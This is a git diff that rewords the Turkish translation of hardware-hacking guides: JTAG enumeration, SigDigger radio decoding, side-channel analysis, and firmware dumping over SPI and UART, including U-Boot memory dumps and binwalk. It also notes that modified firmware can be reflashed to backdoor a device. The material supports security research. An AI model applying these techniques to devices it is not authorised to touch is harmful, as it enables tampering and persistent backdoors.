--- a/src/todo/hardware-hacking/jtag.md +++ b/src/todo/hardware-hacking/jtag.md @@ -10,7 +10,7 @@ ### Arduino -Arduino'da, kabloları bağladıktan sonra (pin 2'den 11'e kadar JTAG pinlerine ve Arduino GND'yi ana kart GND'ye bağlayarak), **Arduino'da JTAGenum programını yükleyin** ve Seri Monitörde **`h`** (yardım komutu) gönderin ve yardım metnini görmelisiniz: +Arduino'da, kabloları bağladıktan sonra (pin 2'den 11'e kadar JTAG pinlerine ve Arduino GND'yi ana kart GND'ye bağlayarak), **JTAGenum programını Arduino'ya yükleyin** ve Seri Monitörde **`h`** (yardım komutu) gönderin ve yardım metnini görmelisiniz: ![](<../../images/image (939).png>) diff --git a/src/todo/hardware-hacking/radio.md b/src/todo/hardware-hacking/radio.md index 9d22cffe2..c1bac3c0d 100644 --- a/src/todo/hardware-hacking/radio.md +++ b/src/todo/hardware-hacking/radio.md @@ -32,7 +32,7 @@ GUI davranışında, PC'niz destekliyorsa birkaç şeyi etkinleştirmeniz öneri ### Radyo kanalı ile senkronize olma -[**SigDigger** ](https://github.com/BatchDrake/SigDigger) ile duymak istediğiniz kanal ile senkronize olun, "Temel bant ses önizlemesi" seçeneğini yapılandırın, gönderilen tüm bilgileri almak için bant genişliğini ayarlayın ve ardından Tuner'ı gürültünün gerçekten artmaya başlamadan önceki seviyeye ayarlayın: +[**SigDigger** ](https://github.com/BatchDrake/SigDigger) ile duymak istediğiniz kanalla senkronize olun, "Temel bant ses önizlemesi" seçeneğini yapılandırın, gönderilen tüm bilgileri almak için bant genişliğini ayarlayın ve ardından Tuner'ı gürültünün gerçekten artmaya başlamadan önceki seviyeye ayarlayın: ![](<../../images/image (585).png>) @@ -45,12 +45,12 @@ GUI davranışında, PC'niz destekliyorsa birkaç şeyi etkinleştirmeniz öneri ![](<../../images/image (597).png>) -- **Bitleri geri aldıktan sonra, onları bir şekilde işlemeniz gerekebilir**. Örneğin, Manchester kodlamasında bir yukarı+aşağı 1 veya 0 olacak ve bir aşağı+yukarı diğerini temsil edecektir. Bu nedenle, 1'lerin ve 0'ların çiftleri (yukarı ve aşağı) gerçek bir 1 veya gerçek bir 0 olacaktır. +- **Bitleri geri aldıktan sonra, onları bir şekilde işlemeniz gerekebilir**. Örneğin, Manchester kodlamasında bir yukarı+aşağı 1 veya 0 olacak ve bir aşağı+yukarı diğerini temsil edecektir. Yani 1'lerin ve 0'ların çiftleri (yukarı ve aşağı) gerçek bir 1 veya gerçek bir 0 olacaktır. - Bir sinyal Manchester kodlaması kullanıyorsa (bir sırada iki 0 veya 1'den fazlasını bulmak imkansızdır), **önsözde birden fazla 1 veya 0 bulabilirsiniz**! ### IQ ile modülasyon türünü açığa çıkarma -Sinyallerde bilgiyi depolamanın 3 yolu vardır: **amplitüd**, **frekans** veya **faz** ile modüle etmek.\ +Sinyallerde bilgiyi depolamanın 3 yolu vardır: **amplitüd**, **frekans** veya **faz** modüle etmek.\ Bir sinyali kontrol ediyorsanız, bilgiyi depolamak için neyin kullanıldığını anlamanın farklı yolları vardır (aşağıda daha fazla yol bulabilirsiniz) ama iyi bir yol IQ grafiğini kontrol etmektir. ![](<../../images/image (788).png>) @@ -60,7 +60,7 @@ Bir sinyali kontrol ediyorsanız, bilgiyi depolamak için neyin kullanıldığı - Bilginin, bir fazın değişmesi gerçeğinde gizli olduğunu ve fazın kendisinde değilse, farklı fazların net bir şekilde ayrılmadığını unutmayın. - **FM'yi tespit etme**: IQ'nun frekansları tanımlamak için bir alanı yoktur (merkeze olan mesafe amplitüd ve açı fazdır).\ Bu nedenle, FM'yi tanımlamak için, bu grafikte **temelde sadece bir daire görmelisiniz**.\ -Ayrıca, farklı bir frekans IQ grafiğinde **daire boyunca hızlanma** ile "temsil edilir" (bu nedenle SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir hızlanma veya yön değişikliği bulursanız, bu FM olduğu anlamına gelebilir): +Ayrıca, farklı bir frekans IQ grafiği tarafından **daire boyunca hızlanma** ile "temsil edilir" (bu nedenle SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir hızlanma veya yön değişikliği bulursanız, bu FM olduğu anlamına gelebilir): ## AM Örneği @@ -88,7 +88,7 @@ Bilgi bulunan **tüm sinyali** seçebilir, **Amplitüd** modunu ve **Seçim** se ![](<../../images/image (732).png>) -Eğer birçok frekans bulursanız, bu muhtemelen bir FM olmayacaktır, sinyal frekansı sadece kanal nedeniyle değiştirilmiş olabilir. +Eğer birçok frekans bulursanız, bu muhtemelen bir FM olmayacaktır, muhtemelen sinyal frekansı sadece kanal nedeniyle değiştirilmiştir. #### IQ ile @@ -112,7 +112,7 @@ Seçtiğiniz sembol sayısını da belirtebilir ve SigDigger 1 sembolün frekans ### Bitleri Alma -Bunun bir **AM modüle edilmiş** sinyal olduğunu ve **sembol hızını** (ve bu durumda yukarı bir şeyin 1 ve aşağı bir şeyin 0 anlamına geldiğini bilerek), sinyalde kodlanmış **bitleri elde etmek** çok kolaydır. Bu nedenle, bilgiyi içeren sinyali seçin ve örnekleme ve karar verme ayarlarını yapılandırın ve örnekle düğmesine basın (lütfen **Amplitüd**'ün seçili olduğundan, keşfedilen **Sembol hızının** yapılandırıldığından ve **Gadner saat geri kazanımının** seçildiğinden emin olun): +Bunun bir **AM modüle edilmiş** sinyal olduğunu ve **sembol hızını** bulduktan sonra (ve bu durumda yukarı bir şeyin 1 ve aşağı bir şeyin 0 anlamına geldiğini bilerek), sinyalde kodlanmış **bitleri elde etmek** çok kolaydır. Bu nedenle, bilgiyi içeren sinyali seçin ve örnekleme ve karar verme ayarlarını yapılandırın ve örnekle butonuna basın (lütfen **Amplitüd**'ün seçili olduğundan, keşfedilen **Sembol hızının** yapılandırıldığından ve **Gadner saat geri kazanımının** seçili olduğundan emin olun): ![](<../../images/image (965).png>) @@ -121,23 +121,23 @@ Bunun bir **AM modüle edilmiş** sinyal olduğunu ve **sembol hızını** (ve b - **Sabit aralık seçimi** ile seçilmesi gereken aralık sayısını belirtirsiniz ve sembol hızını buradan hesaplar. - **Gadner saat geri kazanımı** genellikle en iyi seçenektir, ancak yine de bazı yaklaşık sembol hızını belirtmeniz gerekir. -Örnekleme düğmesine bastığınızda bu görünür: +Örnekle butonuna bastığınızda bu görünür: ![](<../../images/image (644).png>) -Artık SigDigger'ın **bilgi taşıyan seviyenin aralığını** anlaması için **alt seviyeye** tıklayıp en yüksek seviyeye kadar basılı tutmanız gerekir: +Şimdi, SigDigger'ın **bilgi taşıyan seviyenin aralığını** anlaması için **alt seviyeye** tıklayıp en yüksek seviyeye kadar basılı tutmanız gerekir: ![](<../../images/image (439).png>) Eğer örneğin **4 farklı amplitüd seviyesi** olsaydı, **Sembol başına bit sayısını 2** olarak yapılandırmanız ve en küçüğünden en büyüğüne kadar seçmeniz gerekirdi. -Son olarak, **Zoom**'u **artırarak** ve **Satır boyutunu** **değiştirerek** bitleri görebilirsiniz (ve tüm bitleri almak için hepsini seçip kopyalayabilirsiniz): +Son olarak, **Zoom**'u **artırarak** ve **Satır boyutunu** **değiştirerek** bitleri görebilir (ve tüm bitleri almak için hepsini seçip kopyalayabilirsiniz): ![](<../../images/image (276).png>) -Eğer sinyalin sembol başına 1'den fazla bit varsa (örneğin 2), SigDigger'ın **hangi sembolün** 00, 01, 10, 11 olduğunu bilmesi **mümkün değildir**, bu nedenle her birini temsil etmek için farklı **gri tonları** kullanacaktır (ve eğer bitleri kopyalarsanız **0'dan 3'e kadar** sayılar kullanacaktır, bunları işlemeniz gerekecektir). +Eğer sinyalin sembol başına 1'den fazla bit varsa (örneğin 2), SigDigger **hangi sembolün** 00, 01, 10, 11 olduğunu bilmenin bir yoluna sahip değildir, bu nedenle her birini temsil etmek için farklı **gri tonları** kullanacaktır (ve eğer bitleri kopyalarsanız **0'dan 3'e kadar** sayılar kullanacaktır, bunları işlemeniz gerekecektir). -Ayrıca, **Manchester** gibi **kodlamalar** kullanın ve **yukarı+aşağı** **1 veya 0** olabilir ve bir aşağı+yukarı 1 veya 0 olabilir. Bu durumlarda, elde edilen yukarıları (1) ve aşağıları (0) **işlemeniz** gerekir, böylece 01 veya 10 çiftlerini 0 veya 1 olarak değiştirebilirsiniz. +Ayrıca, **Manchester** gibi **kodlamalar** kullanın ve **yukarı+aşağı** **1 veya 0** olabilir ve bir aşağı+yukarı 1 veya 0 olabilir. Bu durumlarda, elde edilen yukarıları (1) ve aşağıları (0) **0 veya 1 olarak** değiştirmek için **işlemeniz gerekir**. ## FM Örneği @@ -151,7 +151,7 @@ FM'de modüle edilmiş bilgi gönderen sinyal örneği: ![](<../../images/image (725).png>) -Önceki resimde, **2 frekansın kullanıldığını** oldukça iyi gözlemleyebilirsiniz, ancak **dalga formunu** gözlemlediğinizde **2 farklı frekansı doğru bir şekilde tanımlamakta zorlanabilirsiniz**: +Önceki resimde, **2 frekansın kullanıldığını** oldukça iyi gözlemleyebilirsiniz, ancak eğer **dalga formunu** gözlemliyorsanız, **2 farklı frekansı doğru bir şekilde tanımlamakta zorlanabilirsiniz**: ![](<../../images/image (717).png>) @@ -183,7 +183,7 @@ Ve bu, faz modülasyonunun olmadığını çok net bir şekilde gösteren faz hi IQ'nun frekansları tanımlamak için bir alanı yoktur (merkeze olan mesafe amplitüd ve açı fazdır).\ Bu nedenle, FM'yi tanımlamak için, bu grafikte **temelde sadece bir daire görmelisiniz**.\ -Ayrıca, farklı bir frekans IQ grafiğinde **daire boyunca hızlanma** ile "temsil edilir" (bu nedenle SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir hızlanma veya yön değişikliği bulursanız, bu FM olduğu anlamına gelebilir): +Ayrıca, farklı bir frekans IQ grafiği tarafından **daire boyunca hızlanma** ile "temsil edilir" (bu nedenle SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir hızlanma veya yön değişikliği bulursanız, bu FM olduğu anlamına gelebilir): ![](<../../images/image (81).png>) @@ -193,6 +193,6 @@ Sembolleri taşıyan frekansları bulduktan sonra, sembol hızını almak için ### Bitleri Alma -Sinyalin **frekans modüle edildiğini** ve **sembol hızını** bulduktan sonra, bitleri almak için **AM örneğinde kullanılan aynı tekniği** kullanabilirsiniz. +Sinyalin **frekansa modüle edildiğini** ve **sembol hızını** bulduktan sonra, bitleri almak için **AM örneğinde kullanılan aynı tekniği** kullanabilirsiniz. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/side_channel_analysis.md b/src/todo/hardware-hacking/side_channel_analysis.md index 3bb50cfdc..ef423d098 100644 --- a/src/todo/hardware-hacking/side_channel_analysis.md +++ b/src/todo/hardware-hacking/side_channel_analysis.md @@ -1,7 +1,7 @@ # Side Channel Analysis Attacks -Side Channel Analysis Attacks, bir cihazdan veya varlıktan dolaylı bir etkiyle bilgi belirlemeyi ifade eder ve bu bilgiden çıkarım yapılabilir. Bu, bir örnekle daha iyi açıklanabilir: +Side Channel Analysis Attacks, bir cihazdan veya varlıktan dolaylı bir etki ile başka bir kanal veya kaynak aracılığıyla bilgi belirlemeyi ifade eder ve bu bilgiden çıkarım yapılabilir. Bu, bir örnekle daha iyi açıklanabilir: -Ses kaynağına yakın cam levhalardaki titreşimlerin analizi, ancak ses kaynağına erişim yok. Camdaki titreşimler ses kaynağından etkilenir ve izlenip analiz edilirse, ses çözümlenip yorumlanabilir. +Ses kaynağına yakın cam levhalardaki titreşimlerin analizi, ancak ses kaynağına erişim yoktur. Camdaki titreşimler ses kaynağından etkilenir ve izlenip analiz edilirse, ses çözümlenip yorumlanabilir. -Bu saldırılar, özel anahtarlar gibi veri sızıntıları veya işlemcilerdeki işlemleri bulma durumlarında oldukça popülerdir. Bir elektronik devre, sürekli olarak bilgi sızdıran birçok kanala sahiptir. İzleme ve analiz, devre hakkında ve iç yapısı hakkında birçok bilginin ortaya çıkarılması için faydalı olabilir. +Bu saldırılar, özel anahtarlar gibi veri sızıntısı durumlarında veya işlemcilerdeki işlemleri bulmada oldukça popülerdir. Bir elektronik devre, sürekli olarak bilgi sızdıran birçok kanala sahiptir. İzleme ve analiz, devre hakkında ve iç yapısı hakkında birçok bilginin açığa çıkarılması için faydalı olabilir. diff --git a/src/todo/hardware-hacking/spi.md b/src/todo/hardware-hacking/spi.md index 33f308325..76adb039d 100644 --- a/src/todo/hardware-hacking/spi.md +++ b/src/todo/hardware-hacking/spi.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -SPI (Seri Peripheral Arayüzü), entegre devreler (IC'ler) arasında kısa mesafeli iletişim için gömülü sistemlerde kullanılan Senkron Seri İletişim Protokolüdür. SPI İletişim Protokolü, Saat ve Çip Seçim Sinyali tarafından yönetilen master-slave mimarisini kullanır. Bir master-slave mimarisi, EEPROM, sensörler, kontrol cihazları gibi harici çevresel birimleri yöneten bir master (genellikle bir mikroişlemci) içerir ve bunlar köle olarak kabul edilir. +SPI (Seri Peripheral Arayüzü), entegre devreler (IC'ler) arasında kısa mesafeli iletişim için gömülü sistemlerde kullanılan Senkron Seri İletişim Protokolüdür. SPI İletişim Protokolü, Saat ve Çip Seçim Sinyali tarafından yönetilen master-slave mimarisini kullanır. Bir master-slave mimarisi, EEPROM, sensörler, kontrol cihazları gibi harici çevre birimlerini yöneten bir master'ı (genellikle bir mikroişlemci) içerir ve bunlar köle olarak kabul edilir. Bir master'a birden fazla köle bağlanabilir, ancak köleler birbirleriyle iletişim kuramaz. Köleler, saat ve çip seçimi olmak üzere iki pin ile yönetilir. SPI senkron bir iletişim protokolü olduğundan, giriş ve çıkış pinleri saat sinyallerini takip eder. Çip seçimi, master tarafından bir köleyi seçmek ve onunla etkileşimde bulunmak için kullanılır. Çip seçimi yüksek olduğunda, köle cihaz seçilmezken, düşük olduğunda çip seçilmiş olur ve master köle ile etkileşimde bulunur. @@ -14,9 +14,9 @@ MOSI (Master Out, Slave In) ve MISO (Master In, Slave Out) veri gönderme ve alm Firmware dökümü, firmware'i analiz etmek ve içindeki zayıflıkları bulmak için yararlı olabilir. Çoğu zaman, firmware internet üzerinde mevcut değildir veya model numarası, versiyon gibi faktörlerin varyasyonları nedeniyle alakasızdır. Bu nedenle, tehditleri avlarken spesifik olmak için firmware'i doğrudan fiziksel cihazdan çıkarmak faydalı olabilir. -Seri Konsol almak yararlı olabilir, ancak çoğu zaman dosyaların yalnızca okunabilir olduğu durumlarla karşılaşılır. Bu, çeşitli nedenlerden dolayı analizi kısıtlar. Örneğin, paketleri göndermek ve almak için gereken araçlar firmware'de bulunmayabilir. Bu nedenle, ikili dosyaları tersine mühendislik yapmak için çıkarmak mümkün değildir. Bu nedenle, sistemde tüm firmware'in dökülmesi ve analiz için ikili dosyaların çıkarılması çok faydalı olabilir. +Seri Konsol almak faydalı olabilir, ancak çoğu zaman dosyaların yalnızca okunabilir olduğu durumlarla karşılaşılır. Bu, çeşitli nedenlerden dolayı analizi kısıtlar. Örneğin, paketleri göndermek ve almak için gereken araçlar firmware'de bulunmayabilir. Bu nedenle, ikili dosyaları tersine mühendislik yapmak için çıkarmak mümkün değildir. Bu nedenle, sistemde tüm firmware'in dökülmesi ve analiz için ikili dosyaların çıkarılması çok faydalı olabilir. -Ayrıca, kırmızı okuma sırasında ve cihazlara fiziksel erişim sağlarken, firmware dökümü dosyaları değiştirmeye veya kötü niyetli dosyalar eklemeye yardımcı olabilir ve ardından bunları belleğe yeniden yüklemek, cihazda bir arka kapı yerleştirmek için faydalı olabilir. Bu nedenle, firmware dökümü ile açılabilecek birçok olasılık vardır. +Ayrıca, kırmızı okuma sırasında ve cihazlara fiziksel erişim sağlarken, firmware dökümü dosyaları değiştirmek veya kötü niyetli dosyalar enjekte etmek ve ardından bunları belleğe yeniden yüklemek için yardımcı olabilir; bu da cihazda bir arka kapı yerleştirmek için faydalı olabilir. Bu nedenle, firmware dökümü ile açılabilecek birçok olasılık vardır. ### CH341A EEPROM Programlayıcı ve Okuyucu @@ -24,7 +24,7 @@ Bu cihaz, EEPROM'lerden firmware dökmek ve bunları firmware dosyalarıyla yeni ![drawing](../../images/board_image_ch341a.jpg) -EEPROM belleğini CH341a Programlayıcı ile bağlayın ve cihazı bilgisayara takın. Cihaz algılanmıyorsa, bilgisayara sürücü yüklemeyi deneyin. Ayrıca, EEPROM'un doğru yönde bağlandığından emin olun (genellikle, VCC Pin'ini USB konektörüne ters yönde yerleştirin) aksi takdirde yazılım çipi algılayamaz. Gerekirse diyagrama bakın: +EEPROM belleğini CH341a Programlayıcı ile bağlayın ve cihazı bilgisayara takın. Cihaz algılanmıyorsa, bilgisayara sürücüleri yüklemeyi deneyin. Ayrıca, EEPROM'un doğru yönde bağlandığından emin olun (genellikle, VCC Pin'ini USB konektörüne ters yönde yerleştirin) aksi takdirde yazılım çipi algılayamaz. Gerekirse diyagrama bakın: ![drawing](../../images/connect_wires_ch341a.jpg) ![drawing](../../images/eeprom_plugged_ch341a.jpg) @@ -47,7 +47,7 @@ Bu, kullanılan araçlar ve yapılandırmalara göre .bin veya .rom olabilir. ![](<../../images/image (910).png>) -Pirate Bus'ın PINOUT'u **MOSI** ve **MISO** pinlerini SPI'ye bağlamak için gösterse de, bazı SPIs pinleri DI ve DO olarak gösterebilir. **MOSI -> DI, MISO -> DO** +Pirate Bus'ın PINOUT'u **MOSI** ve **MISO** için SPI'ye bağlanacak pinleri gösterse de, bazı SPIs pinleri DI ve DO olarak gösterebilir. **MOSI -> DI, MISO -> DO** ![](<../../images/image (360).png>) diff --git a/src/todo/hardware-hacking/uart.md b/src/todo/hardware-hacking/uart.md index 04c71d2bc..76f1569a2 100644 --- a/src/todo/hardware-hacking/uart.md +++ b/src/todo/hardware-hacking/uart.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -UART, verileri bileşenler arasında bir seferde bir bit olarak ileten seri bir protokoldür. Buna karşılık, paralel iletişim protokolleri verileri birden fazla kanal üzerinden aynı anda iletir. Yaygın seri protokoller arasında RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express ve USB bulunur. +UART, bileşenler arasında verileri bir seferde bir bit olarak ileten seri bir protokoldür. Buna karşılık, paralel iletişim protokolleri verileri birden fazla kanal üzerinden aynı anda iletir. Yaygın seri protokoller arasında RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express ve USB bulunur. Genel olarak, UART boşta iken hat yüksek (mantıksal 1 değeri) tutulur. Ardından, bir veri transferinin başlangıcını işaretlemek için, verici alıcıya bir başlangıç biti gönderir; bu esnada sinyal düşük (mantıksal 0 değeri) tutulur. Sonra, verici, gerçek mesajı içeren beş ila sekiz veri bitini gönderir, ardından yapılandırmaya bağlı olarak isteğe bağlı bir parite biti ve bir veya iki durdurma biti (mantıksal 1 değeri ile) gelir. Hata kontrolü için kullanılan parite biti pratikte nadiren görülür. Durdurma biti (veya bitleri) iletimin sonunu belirtir. @@ -18,31 +18,31 @@ UART ile iletişim kurmak için donanım araçları: - CP2102 veya PL2303 yongaları ile adaptörler - Bus Pirate, Adafruit FT232H, Shikra veya Attify Badge gibi çok amaçlı araçlar -### UART Portlarını Tanımlama +### UART Portlarını Belirleme -UART'ın 4 portu vardır: **TX**(Gönder), **RX**(Al), **Vcc**(Gerilim) ve **GND**(Toprak). PCB üzerinde **`TX`** ve **`RX`** harfleri **yazılı** 4 port bulabilirsiniz. Ancak bir belirti yoksa, kendiniz bulmak için bir **multimetre** veya **mantık analizörü** kullanmanız gerekebilir. +UART'ın 4 portu vardır: **TX**(Gönder), **RX**(Al), **Vcc**(Gerilim) ve **GND**(Toprak). PCB üzerinde **`TX`** ve **`RX`** harfleri **yazılı** 4 port bulabilirsiniz. Ancak bir belirti yoksa, bir **multimetre** veya **mantık analizörü** kullanarak kendiniz bulmanız gerekebilir. **Multimetre** ile cihaz kapalıyken: -- **GND** pinini tanımlamak için **Devamlılık Testi** modunu kullanın, arka ucu toprağa yerleştirin ve kırmızı uçla test edin, multimetreden ses duyana kadar. PCB üzerinde birkaç GND pini bulunabilir, bu nedenle UART'a ait olanı bulmuş olabilirsiniz veya olmayabilirsiniz. -- **VCC portunu** tanımlamak için, **DC gerilim modunu** ayarlayın ve 20 V gerilim ayarlayın. Siyah probu toprağa, kırmızı probu pin üzerine yerleştirin. Cihazı açın. Multimetre 3.3 V veya 5 V sabit bir gerilim ölçerse, Vcc pinini bulmuşsunuzdur. Diğer gerilimler alırsanız, diğer portlarla tekrar deneyin. -- **TX** **portunu** tanımlamak için, **DC gerilim modunu** 20 V'a kadar ayarlayın, siyah probu toprağa, kırmızı probu pin üzerine yerleştirin ve cihazı açın. Gerilimin birkaç saniye dalgalandığını ve ardından Vcc değerinde sabitlendiğini bulursanız, muhtemelen TX portunu bulmuşsunuzdur. Bunun nedeni, açıldığında bazı hata ayıklama verileri göndermesidir. -- **RX portu**, diğer 3'e en yakın olanıdır, en düşük gerilim dalgalanmasına ve tüm UART pinlerinin en düşük genel değerine sahiptir. +- **GND** pinini belirlemek için **Devamlılık Testi** modunu kullanın, arka ucu toprağa yerleştirin ve kırmızı uçla test edin, multimetreden ses duyana kadar. PCB üzerinde birkaç GND pini bulunabilir, bu nedenle UART'a ait olanı bulmuş olabilirsiniz veya olmayabilirsiniz. +- **VCC portunu** belirlemek için, **DC gerilim modunu** ayarlayın ve 20 V gerilim ayarlayın. Siyah probu toprağa, kırmızı probu pin üzerine yerleştirin. Cihazı açın. Multimetre 3.3 V veya 5 V sabit bir gerilim ölçerse, Vcc pinini bulmuşsunuzdur. Diğer gerilimler alırsanız, diğer portlarla tekrar deneyin. +- **TX** **portunu** belirlemek için, **DC gerilim modunu** 20 V'a kadar ayarlayın, siyah probu toprağa, kırmızı probu pin üzerine yerleştirin ve cihazı açın. Gerilimin birkaç saniye dalgalandığını ve ardından Vcc değerinde sabitlendiğini bulursanız, muhtemelen TX portunu bulmuşsunuzdur. Bunun nedeni, açıldığında bazı hata ayıklama verileri göndermesidir. +- **RX portu**, diğer 3'e en yakın olanıdır, en düşük gerilim dalgalanmasına ve tüm UART pinleri arasında en düşük genel değere sahiptir. TX ve RX portlarını karıştırabilirsiniz ve hiçbir şey olmaz, ancak GND ve VCC portlarını karıştırırsanız devreyi yakabilirsiniz. -Bazı hedef cihazlarda, üretici RX veya TX'yi veya her ikisini devre dışı bırakarak UART portunu devre dışı bırakmıştır. Bu durumda, devre kartındaki bağlantıları izlemek ve bazı çıkış noktaları bulmak faydalı olabilir. UART'ın tespit edilmediğini ve devrenin kesildiğini doğrulamak için güçlü bir ipucu, cihazın garantisini kontrol etmektir. Cihaz bir garanti ile gönderildiyse, üretici bazı hata ayıklama arayüzleri (bu durumda, UART) bırakır ve bu nedenle UART'ı devre dışı bırakmış olmalı ve hata ayıklama sırasında tekrar bağlamalıdır. Bu çıkış pinleri lehimleme veya jumper kabloları ile bağlanabilir. +Bazı hedef cihazlarda, üretici RX veya TX'yi veya her ikisini devre dışı bırakarak UART portunu devre dışı bırakmıştır. Bu durumda, devre kartındaki bağlantıları izlemek ve bazı breakout noktaları bulmak faydalı olabilir. UART'ın tespit edilmediğini ve devrenin kesildiğini doğrulamak için güçlü bir ipucu, cihazın garantisini kontrol etmektir. Cihaz bir garanti ile gönderildiyse, üretici bazı hata ayıklama arayüzleri (bu durumda, UART) bırakır ve bu nedenle UART'ı devre dışı bırakmış olmalı ve hata ayıklama sırasında tekrar bağlamalıdır. Bu breakout pinleri lehimleme veya jumper kabloları ile bağlanabilir. -### UART Baud Hızını Tanımlama +### UART Baud Hızını Belirleme -Doğru baud hızını tanımlamanın en kolay yolu, **TX pininin çıkışına bakmak ve verileri okumaya çalışmaktır**. Aldığınız veriler okunabilir değilse, veriler okunabilir hale gelene kadar bir sonraki olası baud hızına geçin. Bunu yapmak için bir USB-serial adaptörü veya Bus Pirate gibi çok amaçlı bir cihaz kullanabilir ve [baudrate.py](https://github.com/devttys0/baudrate/) gibi bir yardımcı betikle eşleştirebilirsiniz. En yaygın baud hızları 9600, 38400, 19200, 57600 ve 115200'dür. +Doğru baud hızını belirlemenin en kolay yolu, **TX pininin çıkışına bakmak ve verileri okumaya çalışmaktır**. Aldığınız veriler okunabilir değilse, veriler okunabilir hale gelene kadar bir sonraki olası baud hızına geçin. Bunu yapmak için bir USB-serial adaptörü veya Bus Pirate gibi çok amaçlı bir cihaz kullanabilir ve [baudrate.py](https://github.com/devttys0/baudrate/) gibi bir yardımcı betik ile eşleştirebilirsiniz. En yaygın baud hızları 9600, 38400, 19200, 57600 ve 115200'dür. > [!CAUTION] > Bu protokolde bir cihazın TX'ini diğerinin RX'ine bağlamanız gerektiğini unutmamak önemlidir! ## CP210X UART'dan TTY Adaptörü -CP210X Çipi, Seri İletişim için NodeMCU (esp8266 ile) gibi birçok prototipleme kartında kullanılır. Bu adaptörler görece ucuzdur ve hedefin UART arayüzüne bağlanmak için kullanılabilir. Cihazın 5 pini vardır: 5V, GND, RXD, TXD, 3.3V. Herhangi bir hasarı önlemek için hedef tarafından desteklenen gerilimi bağladığınızdan emin olun. Son olarak, Adaptörün RXD pinini hedefin TXD'sine ve Adaptörün TXD pinini hedefin RXD'sine bağlayın. +CP210X Çipi, NodeMCU (esp8266 ile) gibi birçok prototipleme kartında Seri İletişim için kullanılır. Bu adaptörler nispeten ucuzdur ve hedefin UART arayüzüne bağlanmak için kullanılabilir. Cihazın 5 pini vardır: 5V, GND, RXD, TXD, 3.3V. Herhangi bir hasarı önlemek için hedef tarafından desteklenen gerilimi bağladığınızdan emin olun. Son olarak, Adaptörün RXD pinini hedefin TXD'sine ve Adaptörün TXD pinini hedefin RXD'sine bağlayın. Adaptör tespit edilmezse, CP210X sürücülerinin ana sistemde yüklü olduğundan emin olun. Adaptör tespit edilip bağlandığında, picocom, minicom veya screen gibi araçlar kullanılabilir. @@ -146,7 +146,7 @@ waiting a few secs to repeat.... ``` ## UART Konsolu ile Firmware Dökümü -UART Konsolu, çalışma ortamında temel firmware ile çalışmanın harika bir yolunu sunar. Ancak, UART Konsolu erişimi yalnızca okunabilir olduğunda, birçok kısıtlama getirebilir. Birçok gömülü cihazda, firmware EEPROM'larda saklanır ve uçucu belleğe sahip işlemcilerde çalıştırılır. Bu nedenle, orijinal firmware üretim sırasında EEPROM'un içinde bulunduğundan, firmware yalnızca okunabilir olarak tutulur ve yeni dosyalar uçucu bellek nedeniyle kaybolur. Bu nedenle, gömülü firmware'lerle çalışırken firmware dökümü değerli bir çabadır. +UART Konsolu, çalışma ortamında temel firmware ile çalışmanın harika bir yolunu sunar. Ancak, UART Konsolu erişimi yalnızca okunabilir olduğunda, birçok kısıtlama getirebilir. Birçok gömülü cihazda, firmware EEPROM'larda saklanır ve volatıl belleğe sahip işlemcilerde çalıştırılır. Bu nedenle, orijinal firmware üretim sırasında EEPROM'un içinde bulunduğundan, firmware yalnızca okunabilir olarak tutulur ve yeni dosyalar volatıl bellek nedeniyle kaybolur. Bu nedenle, gömülü firmware'lerle çalışırken firmware dökümü değerli bir çabadır. Bunu yapmanın birçok yolu vardır ve SPI bölümü, çeşitli cihazlarla EEPROM'dan doğrudan firmware çıkarmak için yöntemleri kapsar. Ancak, fiziksel cihazlar ve harici etkileşimlerle firmware dökümünün riskli olabileceğinden, önce UART ile firmware dökümünü denemek önerilir. @@ -162,12 +162,12 @@ md ``` "memory dump" anlamına gelir. Bu, belleği (EEPROM İçeriği) ekrana dökecektir. Bellek dökümünü yakalamak için prosedüre başlamadan önce Seri Konsol çıktısını kaydetmek önerilir. -Son olarak, günlük dosyasındaki tüm gereksiz verileri çıkarın ve dosyayı `filename.rom` olarak saklayın ve içerikleri çıkarmak için binwalk kullanın: +Son olarak, günlük dosyasından tüm gereksiz verileri çıkarın ve dosyayı `filename.rom` olarak saklayın ve içerikleri çıkarmak için binwalk kullanın: ``` binwalk -e ``` Bu, hex dosyasında bulunan imzalara göre EEPROM'dan olası içerikleri listeleyecektir. -Ancak, uboot'un kullanılsa bile her zaman kilidinin açılmadığını belirtmek gerekir. Enter Tuşu bir şey yapmıyorsa, Space Tuşu gibi farklı tuşları kontrol edin. Eğer bootloader kilitliyse ve kesintiye uğramıyorsa, bu yöntem işe yaramaz. Uboot'un cihaz için bootloader olup olmadığını kontrol etmek için, cihazın açılışı sırasında UART Konsolu'ndaki çıktıyı kontrol edin. Açılış sırasında uboot'u belirtebilir. +Ancak, uboot'un kullanılıyor olsa bile her zaman kilidinin açılmadığını belirtmek gerekir. Enter Tuşu bir şey yapmıyorsa, Boşluk Tuşu gibi farklı tuşları kontrol edin. Eğer bootloader kilitliyse ve kesintiye uğramıyorsa, bu yöntem işe yaramaz. Uboot'un cihaz için bootloader olup olmadığını kontrol etmek için, cihazın açılışı sırasında UART Konsolu'ndaki çıktıyı kontrol edin. Açılış sırasında uboot'u belirtebilir. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/industrial-control-systems-hacking/README.md b/src/todo/industrial-control-systems-hacking/README.md index 1ffcaba75..9e2a90043 100644 --- a/src/todo/industrial-control-systems-hacking/README.md +++ b/src/todo/industrial-control-systems-hacking/README.md @@ -8,8 +8,8 @@ Endüstriyel Kontrol Sistemleri her yerde bulunmaktadır, çünkü sanayiler bir Bu sistemleri güvence altına almak önemli hale gelmiştir, çünkü bunlara zarar vermek çok maliyetli olabilir ve en kötü durumda hayatlara mal olabilir. Endüstriyel Kontrol Sistemleri güvenliğini anlamak için, bunların iç yapısını bilmek gereklidir. -Endüstriyel Kontrol Sistemleri belirli standartlara göre kurulduğundan, her bir bileşeni bilmek kontrol sistemindeki diğer mekanizmaları birbirine bağlamaya yardımcı olacaktır. Bu cihazların, örneğin PLC'ler ve SCADA sistemleri, kurulumu çeşitli 